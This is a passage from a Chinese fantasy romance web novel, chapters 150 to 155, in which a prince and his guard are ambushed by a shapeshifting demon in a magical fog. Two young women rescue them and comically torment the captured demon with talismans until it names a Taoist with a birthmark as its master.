只有那阵阴风,呜呜地,似乎在车帘外盘旋不去。 裴昭心下一沉,再无迟疑,猛地抬手掀开了厚重的车帘! 只见东风背对着他,僵硬地坐在车辕上,身形挺得笔直,双手依旧保持着执握缰绳和马鞭的姿势,一动不动。 他的眼睛圆睁着,一眨不眨地死死盯着正前方的黑暗,仿佛被什么东西魇住了。 “东风!”裴昭低喝一声,探身而出,一手疾扣东风肩膀,试图将他摇醒。 然而,手下的触感却让他心头一凛,东风的肌肉紧绷如铁石,冰冷僵硬,完全不似活人,对他的触碰和呼喊更是毫无反应,恍若未闻。 更诡异的是前方的景象,不知何时,官道上弥漫起浓重得化不开的白雾,这雾气来得极其突然且迅猛,此刻已是铺天盖地,将前路彻底吞没。 浓雾翻滚,几乎伸手不见五指,连近在咫尺的马匹身影都变得模糊不清。 这绝非回城的路! 与林小满相处这些时日,耳濡目染,裴昭的第一反应便是,东风中了邪术! 危急关头,他不及细思,想起怀中之物。 他迅速从衣襟内袋掏出一张折叠整齐的黄符纸,正是林小满此前赠予他以防万一的护身符。他毫不犹豫,直接将那符纸“啪”地一声拍在了东风的胸口膻中穴处! 那符纸贴上的一刹那,仿佛有微不可察的金光一闪而逝。 “呃啊——!” 东风猛地倒抽一口冷气,如同溺水之人终于浮出水面,整个身体剧烈地一颤,原本僵直的眼神瞬间恢复了神采,却充满了茫然与惊骇。 他下意识地猛地一勒缰绳,受惊的马匹嘶鸣着减缓了速度。 “王、王爷?!”东风的声音带着剧烈的喘息和难以置信的颤抖,他仓惶地环顾四周,入眼只有无边无际的浓雾, “我们这是……到哪儿来了?这、这是哪里?!不对啊……刚才明明还在官道上……奇怪,我怎么感觉头那么晕,像是做了场噩梦一样……” “你方才中邪了。”裴昭言简意赅,目光扫视着周围浓得化不开的雾气,手已按在了腰间的佩剑上。 东风“啊?”了一声,脸上血色褪尽,这才后知后觉地感到一阵后怕。 “林小姐给你的护身符呢?可还带在身上?” “带着呢带着呢!一直贴身放着,就在这儿!”东风连忙应道,下意识伸手就往自己胸口内袋掏去,想将符箓取出给王爷看。 只见那原本色泽鲜亮、朱砂纹路清晰的黄符,此刻竟变得黯淡无光,仿佛被水浸泡过又阴干一般,边缘处甚至有些酥碎,尤其是正中央,破了一个焦黑的小洞,像是被什么力量瞬间灼穿! “王爷!这……这符……”东风的声音带着惊骇,将掌心递到裴昭眼前。 两人看着那已然失效毁损的符箓,瞬间愕然。 裴昭眸色一沉,立刻明白了。 定是这邪祟力量极强,率先触发了东风身上的护身符,将其力量耗尽击穿,这才让东风着了道。 而自己方才情急之下拍出的那张,是林小满特意加强过、留给他以备不时之需的,这才能及时将东风拉回来。 “无妨了,”裴昭收回目光, “我刚才已给你换了一张新的符箓,暂且应当无碍。小心戒备,此地古怪得很。” “多谢王爷救命之恩!”东风心有余悸,连忙将那张崭新的、隐隐散发着柔和力量的符纸小心翼翼重新塞回贴身处。 他刚稳住心神,正要仔细察看前方路况,马车车轮却猛地一震,像是压过了什么坚硬凸起的东西,整个车厢都颠簸了一下。 “吁——!”东风心下大惊,下意识猛地全力勒紧缰绳! 林小满受惊的马匹发出一声长长的嘶鸣,前蹄扬起,硬生生停了下来,不安地在浓雾中刨着蹄子。 第150章 遇上血魅? “王爷,车轮好像压着什么东西了,我下去瞧瞧?”东风的声音在浓雾中显得有些发紧。 “嗯,小心些。”裴昭应道,手握剑柄,也紧随其后跃下了马车。 雾气湿冷,带着一股土腥和腐朽的气味,脚下的地面松软泥泞,完全不似官道的坚硬。 两人绕到车后,借着车厢角悬挂的、在浓雾中显得昏黄朦胧的风灯光亮,隐约看到后车轮旁,似乎蜷缩着一个深色的影子。 东风蹲下身,凑近仔细一看,顿时失声惊呼:“王爷!是、是林小姐?!” 正凝神戒备四周的裴昭闻言,心中猛地一突,虽觉此事蹊跷至极,但还是立刻快步走了过去。 果然,在马车后轮旁的泥泞地上,静静躺卧着一个熟悉的身影。 那身衣裳,那张苍白却依旧精致的面容,不是不久前才与他们分道扬镳的林小满,又是谁? 她双目紧闭,仿佛失去了意识,悄无声息地躺在冰冷的地上。 “林小姐!您怎么了?”东风又急又慌,当下便欲伸手去扶。 然而,裴昭却猛地一把扣住了他的手腕,力道之大,让东风吃痛地停住了动作。 “王爷?”东风愕然回头,却见裴昭紧皱着眉头,站在原地一动不动,死死地盯着地上昏迷不醒的“林小满”,非但没有丝毫急切,反而全身都绷紧了一种极度警惕的姿态。 东风顺着他的目光看去,心中顿时一个咯噔,也察觉出了不对劲。 王爷的反应太反常了!林小姐莫名昏迷在此,王爷怎会如此冷静甚至……戒备? 裴昭的目光冰冷地扫过“林小满”全身。 林小满是什么人?身负奇术,机敏过人,连凶煞邪祟都能轻松应对,她怎么可能如此毫无征兆、悄无声息地昏迷在这荒郊野外的诡异浓雾之中?还恰好出现在他们的马车轮旁? 这绝非巧合! 他想要上前探查的手硬生生停在半空,心中警铃大作。 眼前这个“林小满”,出现的时机、地点都太过诡异,处处透着一股令人不安的违和感。 “不对劲,”裴昭的声音压得极低,带着不容置疑的冷厉,“退后,东风。” 东风被裴昭语气中的冷厉惊得一个激灵,毫不迟疑地立刻松开手,迅速退至裴昭身侧,同时“唰”地一声将腰间佩剑抽出一半,寒光在浓雾中一闪,警惕地环顾着四周令人不安的死寂,压低声音急促问道: “王爷,您的意思是……那躺着的,莫非不是林小姐?!” “嗯。”裴昭从喉间挤出一声短促而肯定的回应,目光依旧死死锁住地上那抹身影,声音压得极低,确保只有东风能听见,“绝非是她。” 他微微侧头,语速快而清晰地向东风解释,“其一,林小满身手与警觉性皆非寻常,即便遇袭,也绝无可能无声无息倒在此处,连一丝挣扎痕迹都无。其二,她与我们分开不久,方向截然相反,怎会凭空出现在我们前路之上?其三,也是最重要的一点——” “你仔细看她的衣角鞋袜,干净齐整,甚至未沾多少泥泞。而我们一路行来,道路早已泥泞不堪。一个昏迷倒地之人,岂能如此‘干净’?这分明是有人,或有什么东西,刚刚将她‘放置’于此,专程等着我们发现。” “其四,”他顿了顿,声音更冷,“此地邪祟既能操控迷雾,令你中邪,幻化出一个‘林小满’来迷惑你我,又有何难?” 东风闻言,倒吸一口凉气,只觉一股寒意从脚底直窜头顶,握剑的手心瞬间沁出冷汗。 若非王爷心细如发且足够冷静,他方才恐怕已然着了道! 东风猛地想起什么,脸色煞白,失声低呼: “王爷!是血魅!林小姐之前提过,这东西最擅窥探人心,会幻化成它要加害之人最信任、最亲近之人的模样,诱人靠近,再趁机吸取精气魂魄!” 他话音未落,地上那原本“昏迷不醒”的“林小满”竟猛地睁开了眼睛! 那双眼睛里没有丝毫属于林小满的灵动,只有一片浓得化不开的漆黑邪气,嘴角咧开一个极不自然的、扭曲的诡异笑容。 “嘻嘻……”它发出一阵令人毛骨悚然的尖细笑声,动作僵硬地、以一种绝非人类能做出的姿势,直挺挺地从地上立了起来。 “没想到……你们两个凡人……还挺聪明……”它的声音尖锐刺耳,像是无数碎片刮擦着瓷器,完全不再是林小满清越的嗓音, “可惜……再聪明……也逃不出这片‘迷魂雾障’……乖乖把精气献给本座吧!” 随着它的话语,周围的浓雾仿佛活了过来,剧烈地翻涌滚动,朝着裴昭与东风挤压而来。 裴昭瞳孔骤缩,毫不犹豫厉声道:“东风,守心凝神,别被幻象所惑!这是冲我们来的!” 东风被那邪异的景象骇得头皮发麻,下意识地紧靠裴昭,声音因恐惧而微微发颤,却又带着一丝不合时宜的困惑: “王、王爷!林小姐不是说……血魅只挑那些大善人、气血纯净之人下手吗?咱俩……咱俩在战场上杀了那么多人,煞气重得很,怎么也算不上是‘大好人’吧?它……它找上我们干嘛?!” 那“血魅”似乎被东风这直白又愣头青的问题给噎了一下,周身翻滚的黑气都凝滞了一瞬,那双漆黑邪异的眼睛死死盯住东风,发出更加尖厉的嘶鸣: “吵死了!你这蝼蚁懂什么?!你们的精气虽浊,却胜在磅礴旺盛,尤其是你身边那个……更是大补!吞了你们,抵得上十个八个所谓的好人!” 它那充满贪婪和恶意的目光肆无忌惮地扫过裴昭,仿佛在评估一件稀世珍宝。 东风被它看得浑身汗毛倒竖,只觉得那目光冰冷粘腻,他吓得几乎握不住剑,带着哭腔对裴昭道: “王、王爷!它它它……它好像是认真的!咱们武功再高,也打不过这种不是人的玩意儿啊!” 第151章 同出一源 裴昭面沉如水,质问道,“孽障!你在此设伏,背后主使何人?目的何在?!” 那“血魅”闻言,发出一阵更加尖锐刺耳的怪笑,仿佛听到了天大的笑话: “主使?哈哈哈……本座乃天地阴煞之气所化,逍遥自在,随心所欲!我看上谁,谁便是我的血食珍宝!何需什么主使?你以为谁都像你们凡人一般,处处受制,勾心斗角么?” 东风见它如此嚣张,又见王爷镇定,胆子也壮了些,色厉内荏地喝道: “呸!你这邪物!你知不知道我们是谁?!你又知不知道你刚才幻化的那位林小姐是什么人?!你敢动我们,尤其是敢动林小姐的念头,你、你简直是自寻死路!” “血魅”周身黑气翻涌得更急,似乎被“自寻死路”这四个字激怒,声音变得更加尖利: “哦?什么人?不过是个有点灵觉的女娃娃罢了!在本座眼中,皆是滋补之物!我看上了你们,尤其是他——” 它贪婪的目光再次锁定裴昭,“便是你们的‘造化’!待吸干你们的精气,炼化了你们的魂魄,你们自然就知道本座是谁了!” 听到它这番狂妄至极、甚至将林小满也视为盘中餐的话语,东风非但没再害怕,反而像是听到了什么极其荒谬的事情,竟猛地爆发出了一阵大笑: “哈哈哈!真是可笑!可笑至极!你这瞎了眼的老邪物!你想吸食我们的精血?你也不睁开你的鬼眼好好看看,我们背后站着的究竟是谁!” 东风一边笑,一边艰难地喘着气,仿佛听到了天下最好笑的笑话: “你幻化成谁不好,偏偏要幻化成林小姐!你怕是不知道死字怎么写!你等着吧!等林小姐发现你竟敢用她的模样作祟害人,都不用我们王爷动手,她一根手指头就能把你这点阴煞之气碾得灰飞烟灭!你连给她当点心都不配!” 东风的笑声在浓雾中回荡,带着一种豁出去的畅快和笃定的嘲讽。 那“血魅”似乎从未被如此嘲弄过,周身黑气骤然暴涨,发出愤怒到极点的尖啸!浓雾如同沸腾般剧烈翻滚,带着毁灭的气息压向二人! 裴昭眼见那血魅被东风彻底激怒,狂暴的阴煞之气排山倒海般压来,心中不由暗骂一声这憨货真是猪队友,尽会添乱! 情急之下,他再无保留,猛地将怀中剩余的所有护身符箓尽数掏出,一股脑地奋力撒向空中! 那些黄符遇邪即燃,在空中“噗噗”几声爆开一团团柔和的金光,暂时逼退了汹涌而来的黑雾,将那血魅灼得发出一声痛苦的尖嚎,动作也为之一滞。 “东风!”裴昭趁此间隙厉声喝道,“在林小姐赶来之前,务必给我拖住它!别硬拼,周旋即可!” “是!王爷!”东风也被那符箓的威力激起了血性,大吼一声,手中长剑挽了个剑花,内力灌注之下,剑身嗡鸣,竟是主动朝着那被金光灼伤、暂时显露出些许本体的扭曲黑影冲了过去! 那血魅吃痛,凶性大发,见东风冲来,发出一声厉啸,周身黑雾翻滚,瞬间化作数道漆黑的触手般的影子,刁钻狠辣地抽向东风。 东风仗着身手灵活,剑光霍霍,将那些袭来的黑影触手一一斩断,但那些断掉的触手落地便化作黑烟,又重新融入四周的雾气之中,仿佛无穷无尽。 血魅身形在雾中忽隐忽现,时而消失无踪,让东风劈砍落空,过一会儿又在他身侧骤然凝聚,利爪带着阴风抓向他的要害! 正当东风全神贯注应对那神出鬼没的攻击时,眼前的黑雾一阵扭曲,那血魅的身影再次凝聚,但出现的却不是林小满,也不是那可怖的黑影,竟是哭得梨花带雨、满脸惊惶的小花! “东风哥!救命啊!有怪物追我!” “小花”的声音凄楚无助,朝着东风伸出手,仿佛下一瞬就要扑入他怀中寻求保护。 东风猝不及防,眼见是自己日夜拌嘴却又暗自关心的熟悉脸庞,那凝聚了全身力气准备刺出的长剑硬生生僵在半空,怎么也递不出去! 就在他心神剧震、动作停滞的这一刹那,“小花”脸上那凄楚的表情瞬间扭曲,化作无比狰狞的诡笑,原本伸出的纤纤玉手骤然变得漆黑尖锐,带着一股腥风,狠狠一掌拍在了东风毫无防备的胸口! “噗——!” 东风如遭重击,整个人倒飞出去,重重摔在泥泞之中,喉头一甜,猛地喷出一口鲜血,手中的剑也差点脱手。 那血魅重新显露出扭曲的黑影本体,发出得意又怨毒的尖笑: “嘻嘻……愚蠢!区区凡人的感情,真是最好利用的弱点!没想到你们身上竟还有这等克邪之物,能破开本座的雾障,伤及本体……可惜,就算让你们侥幸伤到又如何?在这迷魂雾障之内,你们的力量只会不断被削弱,而本座的力量无穷无尽!你们,终究是本座的囊中之物!” 话音未落,它周身黑气再次暴涨,带着比之前更加凶戾的气势,径直朝着受伤的东风和护在他身前的裴昭猛扑而来! “简直就是找死!”血魅厉啸着,漆黑尖锐的利爪撕裂浓雾,带着腥臭的阴风,直取裴昭咽喉! 眼看那致命一击就要落下,千钧一发之际,一道金光自侧后方激射而来,“嗖”地一声,精准无比地缠上了血魅的手腕! 那金光是一条闪烁着符文的绳索,碰上血煞的瞬间,发出“滋滋”的灼烧声! 血魅猝不及防,发出一声痛苦的尖嚎,整个人被一股巨大的力道猛地向后一拽,利爪险之又险地擦着裴昭的颈侧划过! 裴昭骤觉压力一轻,定睛看去,只见一道纤细却挺拔的身影不知何时已悄然立于迷雾之中,手中正紧紧握着那金色绳索的另一端。不是林小满又是谁?! “林小姐!”裴昭心头一松,瞬间清醒过来,立刻后退半步,与东风汇合,持剑警惕。 第152章 慢慢折磨 那血魅奋力挣扎,却发现那金色绳索越缠越紧,灼烧的痛楚直透魂体,它又惊又怒地看向来人,声音尖利: “你们是何人?!竟然……竟然有如此厉害的捆妖索?!” 这时,另一个娇俏的身影从林小满身后闪出,快步跑到东风身边,正是小花。 她一边吃力地扶起咳血不止的东风,一边迅速从怀中掏出一个白色小瓷瓶,倒出一粒清香扑鼻的药丸塞进他嘴里,一边没好气地冲着那血魅翻了个白眼: “喂!瞎了眼的丑东西!你刚才不是还幻化成我和小姐的模样招摇撞骗吗?怎么现在连正主站在面前都认不出来了?!” 血魅闻言,周身黑气剧烈波动,仔细打量了林小满和小花一番,先是惊疑不定,随即似乎察觉到了什么,发出嘶哑的怪笑: “哼!我当是谁,原来是你们两个小丫头片子!不过是懂些玄学术法皮毛罢了,也敢来管本座的闲事?!等等!你们身上竟然……” 它的话音陡然顿住,像是发现了什么极其不可思议的事情,黑气凝聚的“眼睛”里透出惊异甚至是一丝……贪婪? “闭嘴!”林小满眼神一厉,不等它说完,瞬间欺近扬手干脆利落地一巴掌狠狠扇在那由黑气凝聚的模糊脸孔上! “啪!”一声清脆的响声,那血魅被打得脑袋一歪,发出一声更加凄厉的惨嚎,周身黑气都溃散了一瞬。 它似乎彻底明白了过来,眼前这两人绝非普通术士,她们身上隐藏着秘密,而且这秘密并不想被那边两个凡人知晓。 但它依旧嘴硬,发出恶狠狠的威胁:“哼!藏头露尾!不过也是和我同出一源的玩意儿罢了,在这里装什么名门正道?!我和你们无冤无仇,劝你们不要多管闲事,否则……就别怪本座连你们一起吞了,想必也是大补!” “哦?同出一源?就凭你这种靠吸食精气存活的低等邪祟也配?” 林小满语气冰冷,带着毫不掩饰的轻蔑,“那就让我看看,你到底要怎么个不客气法!” 话音未落,林小满手腕一翻,指间已夹着数张符箓,周身气势陡然一变,再无平日的慵懒灵动的模样,率先主动攻向被捆妖索暂时束缚住的血魅! 小花见状,也将东风安置好,娇叱一声,从腰间抽出一对短刃,配合着林小满,从侧翼攻上! 血魅闻言暴怒,周身黑气疯狂涌动,挣扎着想要扑向林小满,可那金光闪闪的捆妖索却如同烙铁般死死禁锢着它。 任它如何咆哮冲撞,都无法挣脱分毫,只能眼睁睁看着林小满和小花步步逼近。 就在林小满指间符箓灵光乍现、小花手中短刃寒芒吞吐,即将落到血魅身上的刹那,两人却像是约好了一般,同时停下了动作。 林小满侧头看了一眼小花,嘴角勾起一抹玩味的笑意:“小花,咱俩是不是好久都没活动筋骨了?” 小花闻言,眼睛顿时亮了起来,甩了甩手中的短刃,兴奋地答道: “小姐说的是!自从来了京城,整天不是宴会就是赏花,我这手早就痒得不行了!” 两人相视一笑,脸上同时浮现出几分不怀好意的坏笑。 林小满这才转过头,目光依旧锁定在拼命挣扎的血魅身上,头也不回地扬声道: “王爷,还请暂且回避,退回马车稍候片刻。” 她的声音带着一丝轻松,却又有不容置疑的意味,“接下来的场面,恐怕有些……不太雅观。” 裴昭持剑而立,闻言非但没有后退,反而眉头微蹙。 他看着前方那两个看似纤弱的女子,又瞥了一眼那被金索捆缚、仍在嘶吼挣扎的可怖邪物,沉声道:“林小姐,此獠凶险非常,岂可儿戏?本王岂能留你二人独自应对?” 林小满却没有直接回答,只是和小花交换了一个眼神。 下一刻,小花笑嘻嘻地手腕一翻,也不知她做了什么,那捆妖索猛地又是一紧,金光大盛,血魅顿时发出一声撕心裂肺的惨嚎,周身黑气像是被烈日灼烧的冰雪般“滋滋”作响,迅速消散又艰难重组,显然痛苦到了极点。 而林小满则好整以暇地绕着无法动弹的血魅走了一圈,指尖不知何时夹了几张颜色迥异、灵光氤氲的符箓。 “哎呀,试试这个‘净尘符’改良版怎么样?” 她语气轻快,仿佛在讨论今日的妆容,“据说去污效果特别好,就是不知道对阴煞怨气效果如何?” 话音未落,她指尖一弹,一张符箓轻飘飘地落在血魅头顶。 没有惊天动地的爆炸,只有一片柔和的白光蔓延开来,所过之处,那浓稠的黑气竟如同被水洗去的墨迹般迅速淡化消失! 血魅发出了绝非人类能发出的尖锐惨嘶,身体剧烈地颤抖扭曲,仿佛正在承受极致的净化之苦。 “好像太温和了点?”小花撇撇嘴,手腕一抖,短刃上闪过一抹幽蓝的电光, “还是试试我这个吧,‘惊雷引’的微缩版,专门给不听话的小东西醒神用的!” 她说着,用短刃的侧面,像是拍苍蝇一样,“啪”地一下拍在血魅的虚影上。 滋啦——! 一道细小的蓝色电蛇瞬间窜遍血魅全身,打得它疯狂抽搐,嚎叫声都变了调,黑气凝聚的身体明灭不定,仿佛随时都会散架。 林小满和小花你一下我一下,仿佛在试验什么新奇玩具,各种看似不起眼却针对性极强、折磨效果十足的小法术小玩意儿层出不穷。 那血魅起初还疯狂咒骂威胁,很快就变成了痛苦的哀嚎和绝望的尖叫,最后连惨叫都变得断断续续,只剩下扭曲翻滚的份儿。 裴昭站在原地,看着眼前这超乎想象的一幕,原本紧握的长剑微微垂下,冷峻的脸上难得出现了一丝怔忪和错愕。 东风张大了嘴巴,目瞪口呆地看着眼前这匪夷所思的一幕。 那方才还凶焰滔天、逼得他和王爷险象环生的血魅,此刻竟像砧板上的鱼肉,被林小姐和小花用各种闻所未闻的手段折腾得毫无还手之力,连惨叫都透着一股凄惨绝望。 第153章 幕后主使 他艰难地咽了口唾沫,揉了揉眼睛,几乎不敢相信自己看到的,下意识地转向裴昭,声音都有些发颤: “王、王爷……我是不是伤重眼花了?还是……还是在做梦?” 他并未立刻得到回应,忍不住侧头仔细看向自家王爷。 只见裴昭依旧持剑而立,身姿挺拔,但那双黑眸,此刻却一瞬不瞬地紧盯着前方,眼底深处竟没有丝毫的惊惧或疑虑。 反而……反而流淌着一种近乎惊叹的专注,甚至唇角还噙着一丝极淡却真实存在的弧度,仿佛在欣赏一幅绝美的画卷或一场精彩绝伦的演出。 东风被自家王爷这反常的“欣赏”姿态弄得心里直发毛,忍不住打了个寒颤。 就在这时,裴昭忽然动了。他并未转头,目光依旧胶着在林小满身上,声音低沉却带着一种奇异的热度,突兀地问道: “东风,你觉不觉得……林小姐此刻,翩若惊鸿,婉若游龙,竟似九天玄女临凡,惩奸除恶时也别有一番动人心魄的风采?” 东风嘴角狠狠一抽,内心疯狂呐喊:王爷!我的爷!您这滤镜是不是也太厚了点?这哪是九天玄女降妖除魔?这分明是两只小狐狸找到了新玩具在撒欢啊!口味是不是太独特了些! 可他嘴上却半点不敢怠慢,连忙顺着话头,眼神却不由自主地飘向那个正兴致勃勃拿着短刃“电疗”血魅的娇俏身影,语气带着几分他自己都未察觉的紧张与关注: “啊?啊!是是是!王爷您说得太对了!林小姐这……这动作行云流水,这符箓运用得出神入化,这气势……呃,雷霆万钧!真是……真是英姿飒爽,令人叹为观止!” 他一边干巴巴地夸着林小满,眼角的余光却死死锁在小花身上,看着她灵巧的身手和那带着狡黠笑意的侧脸,心跳没来由地漏跳了几拍。 裴昭似乎对他的回答颇为满意,轻轻“嗯”了一声,便不再多言,继续全神贯注地“欣赏”着林小满的“表演”。 马车旁,两位身份尊贵的男子,一个看得目不转睛、隐含激赏,一个看得心惊肉跳却又忍不住偷瞥心上人。 而场地中央,林小满与小花正全情投入地“切磋手艺”,似乎完全未曾留意到不远处那两道复杂难言、紧紧追随的目光。 林小满正捏着下巴,打量着被小花电得抽搐不止的血魅,若有所思:“小花,你说把这‘净尘符’和你的‘惊雷引’微缩版叠加一下,效果会不会更有层次感?” 小花眼睛一亮:“好主意!我来试试!”说着,短刃上的电光再次亮起,作势就要配合林小满新抽出的符箓。 那血魅残存的黑气剧烈波动,发出了近乎呜咽的哀鸣,徒劳地试图蜷缩起来,哪里还有半分之前的嚣张气焰。 它眼见林小满和小花又要尝试新的“组合技”,终于彻底崩溃,尖声讨饶起来: “住…住手!大仙!仙子!饶命啊!饶了我吧!我错了!我有眼无珠,冲撞了真神! 求求您们高抬贵手,放过我这缕污秽之气吧!您们想知道什么?我…我什么都说!只求给我一个痛快…不,只求饶我一命!” 林小满闻言,嘴角那抹玩味的笑意很快收敛了回去,变脸比翻书还快,她慵懒地掏了掏耳朵,语气带着几分不屑: “切,求饶得倒快。可你那点破事烂底,谁想知道啊?” 她侧头看向小花,问道:“小花,你想知道吗?” 小花果断地摇了摇头,短刃上的电光噼啪作响,她撇撇嘴道: “不想,我对这种低等邪物的肮脏事半点兴趣都没有。还不如试试新研究的‘百花凝香符’能不能把它腌入味呢,去去那股子腥臭气。” 林小满被逗笑了,转回头,用两根手指虚虚抬起那团颤抖黑气的“下巴”, “听见了没?我们对你想说的‘秘密’,不、感、兴、趣。” 血魅吓得黑气都快散光了,急忙尖叫道: “不!不!您们一定会感兴趣的!我…我并非全然无主!我背后…背后是有人指使的!他让我在此地设伏,专门等候…等候特定之人!我可以告诉您们他是谁!他的目的!” 它像是抓住了最后一根救命稻草,拼命想抛出诱饵。 林小满听到这,夸张地大声叹了口气,似乎觉得很无聊。 她松开手,慢悠悠地踱到旁边一棵大树下,懒洋洋地斜靠着,这才漫不经心地说道: “哦?还有幕后黑手?行吧,那你就随便说来听听吧,我看看你这故事编得行不行。要是不行的话,嘿嘿……” 她没说完,只是指尖又冒出一张灵光闪闪的符箓,意味不明地晃了晃。 这边的动静自然也吸引了裴昭和东风。听到“幕后之人”四字,裴昭神色一凛,立刻迈步走了过来,东风也赶紧忍着伤痛跟上。 那血魅眼见裴昭走近,它那由黑气凝聚的模糊“眼睛”猛地亮了起来,一种极度贪婪和渴望的情绪瞬间取代了方才的恐惧,几乎是不受控制地朝着裴昭的方向挣扎了一下,仿佛饿鬼看到了无上美味! 它这细微却极其露骨的举动,恰好被紧盯着它的小花捕捉个正着。 小花顿时柳眉倒竖,想也没想,反手就用短刃的刀身狠狠抽了过去! “啪!”一声闷响,伴随着血魅又一声惨嚎。 “小姐!”小花打完后,立刻转向林小满,语气厌恶地说道, “我看这东西贼心不死,根本毫无诚意!眼珠子都快粘到王爷身上了!还说什么幕后主使,分明是想耍花样!要不还是别给它说话的机会了吧?直接灭了干净,免得看了心烦!” 血魅被小花这一巴掌打懵了,又听到要直接灭了它,吓得魂飞魄散,再也顾不得对裴昭那本能的贪婪,连声哀嚎: “不不不!我说!我马上就说!绝无半句虚言!求仙子再给一次机会!我绝不敢再有任何妄念!绝不敢了!” 它那黑气缩成一团,瑟瑟发抖,再也不敢朝裴昭的方向多看半眼。 第154章 又是那个道士 “有话快说,有屁快放!”小花不耐烦地用短刃敲了敲地面,刃尖上跳跃的电光发出“噼啪”的威胁声, “再磨磨蹭蹭、东张西望,下一鞭子可就没这么轻了!” “我说我说!我现在马上就说!”血魅吓得一个激灵,再不敢有丝毫迟疑,瑟缩着那团黯淡的黑气,忙不迭地开口,声音尖细急促: “指使我的是…是京城西郊乱葬岗下修行了三百年的‘骸骨夫人’!她…她窥得一丝天机,算出近日将有身负紫微之气、龙章凤姿之人途经此地,命我在此设伏,务必要将…将这位贵人的元气和魂魄带回去献给她,供她修炼无上魔功!” 它一边说着,一边小心翼翼地、极其快速地瞥了裴昭一眼,又立刻低下头去,似乎生怕再多看半秒又会招来毒打。 “哦?三百年的骸骨夫人?紫微之气?龙章凤姿?”林小满靠在树干上,懒洋洋地重复着这几个词,语气里充满了毫不掩饰的讥讽, “你这谎话编得……啧啧,能不能再用点心?路边说书先生都不敢这么编。” 她摇了摇头,似乎对血魅的“创意”非常失望,随即对着小花随意地挥了挥手:“小花,给我打。打到它肯说人话为止。” “好嘞小姐!”小花早就等着这句话了,脸上露出一个“终于可以继续了”的兴奋笑容,手中短刃一振,那幽蓝的电光再次暴涨! “不——!别打!我说实话!这次是真的实话!”血魅发出凄厉的尖叫,黑气疯狂扭动试图躲避, “是…是‘黑煞尊者’!盘踞在南方沼泽里的那个!他给了我一件法器,能遮蔽气息,命我在此截杀一位王爷!说事成之后许我自由,再赐我百年精魄!” “换汤不换药。”林小满嗤笑一声,甚至懒得评价,“继续打。” “滋啦——!”电光毫不留情地再次抽打在黑气上。 “啊啊啊!是…是北域来的萨满!” “打。” “是…是宫里逃出来的老太监养的…” “打!” 小花打得那叫一个干脆利落,毫不手软。 那血魅每编造一个幕后主使,就被电光狠狠教训一次,惨叫声一声比一声凄厉,周身的黑气以肉眼可见的速度变得稀薄黯淡,几乎快要维持不住形态。 血魅被打得黑气几乎溃散,连哀嚎都变得有气无力,它拼尽最后一丝力气尖叫道: “别…别打了!我错了我错了!这次…这次我真的保证说真话!再也不敢胡编乱造了!求求您们…再信我一次…” “嘿!”小花气得笑出声来,甩了甩被反震得有些发麻的手腕, “你真当我们是傻子,由着你耍是吧?编故事还编上瘾了?觉得我们还会信你这满嘴喷粪的狗东西?找死!” 她越说越气,竟是忘了对方是虚体,下意识地攥紧拳头,猛地一拳朝着那团稀薄的黑气砸了过去! 意料之中地,她的拳头直接从那虚幻的黑影中穿了过去,并未碰到任何实体。 但当她将手抽回来时,白皙的手背上却沾染了几缕粘稠、散发着腥臭的黑色液体,仿佛是打散了对方凝聚的阴煞核心渗出的污秽。 “咦——!”小花立刻嫌弃地皱紧了眉头,看着手背上那几缕蠕动的黑液,恶心得差点跳起来, “真恶心!这什么玩意儿!” 一旁的东风见状,想也没想,几乎是本能地一个箭步上前。 他也顾不得自己身上还有伤,迅速从怀里掏出一块干净的白绢帕子,小心翼翼地、极其轻柔地替小花擦拭起手背来,语气里带着不赞同和一丝不易察觉的心疼: “哎哟我的小姑奶奶!你也不嫌埋汰!这种脏东西你也用手去碰?下次这种恶心人的活儿,你吱一声,让我来!别脏了你的手。” 他动作仔细,仿佛在擦拭什么珍贵的瓷器,与平日的拌嘴模样判若两人。 那奄奄一息的血魅,原本还在因核心被击散而痛苦抽搐,此刻目睹这凡人侍卫对着那沾了点污秽就大呼小叫的丫头片子如此小心翼翼、呵护备至的模样,再对比自己刚才遭受的非人折磨和眼下濒临消散的惨状,一种难以言喻的、极度荒谬和悲愤的情绪猛地涌上心头。 它那残存的黑气剧烈地波动了一下,发出一声微弱却充满了无尽委屈和憋屈的呜咽,仿佛在说:你们至于吗?!我就那么点污秽之气,碰一下怎么了?!她刚才用电劈我、用符烧我的时候怎么没见你们嫌恶心?!现在这点阵仗反倒心疼上了?!还有没有天理了! 它气得连黑气的颜色似乎都更黯淡了几分,彻底瘫软在地,连挣扎的力气都没有了,只剩下微弱的喘息。 东风瞥了一眼小花嫌弃的表情,心头火起,立刻上前狠狠踹了那瘫软的黑气一脚。 虽然依旧踹了个空,但动作里的怒气显而易见:“装!你再给老子装死试试!还不快老实交代!” 那血魅被这无形的怒气吓得一哆嗦,残存的黑气艰难地凝聚出一点形状,几乎是匍匐在地,声音颤抖得不成样子: “不敢装了!再也不敢了!大神饶命!大仙饶命!是…是一个道士!指使我的是一个道士!但他姓甚名谁,是何来历,我…我是真的不知道啊!” 林小满与裴昭交换了一个眼神。 裴昭上前一步,“你若再有一句虚言,本王保证,让你即刻魂飞魄散,永世不得超生。” 血魅吓得黑气乱颤,连连磕头:“不敢!绝对不敢再有半句谎言!求大仙明鉴!我说,我什么都说!” 它喘息了几下,声音带着哭腔和恐惧,断断续续地交代道: “我…我原本只是山林里一缕懵懂的孤魂野鬼,浑浑噩噩不知多少年月…直到…直到有一天,一个穿着灰色道袍、看不清面容的道人抓住了我。 他…他用一种极其痛苦的法阵炼化我,日日念诵我根本听不懂的晦涩咒语…那感觉,比方才仙子们的惩戒还要痛苦千百倍!” 第155章 刘婶之死 “后来…后来我就什么都不知道了,像是沉睡了很久很久…等我再次恢复意识时,就…就变成了现在这副模样,充满了阴煞之气和对生灵精气的渴望… 而且,我体内被他种下了极其恶毒的禁制,必须完全听命于他,若有一丝一毫违背他意愿的念头,立刻就会遭受万蚁噬魂般的痛苦,甚至可能直接消散… 大仙饶命啊!我说的句句都是实话!我真的不知道他是谁,只知道他道法极其诡异阴毒,手段狠辣无比!” 林小满微微蹙眉,追问道:“那道士可有什么特征?仔细回想,任何细节都不要放过!” 血魅的黑气微弱地闪烁了几下,似乎在努力回忆: “特征…特征…他始终戴着兜帽,看不清脸…声音也沙哑难辨…啊!对了!他的手!他的左手手背上,有一块暗红色的胎记!” 一旁的东风闻言,脸色骤然一变,下意识地抬起自己的左手,指向手背某处: “是不是在这个位置?约莫指甲盖大小,边缘有些不规则?” 血魅那团黑气猛地凝聚了一下,仿佛在拼命点头:“对!对!就是那里!就是那样的胎记!” 事情到这里,一切都已经变得明朗起来。 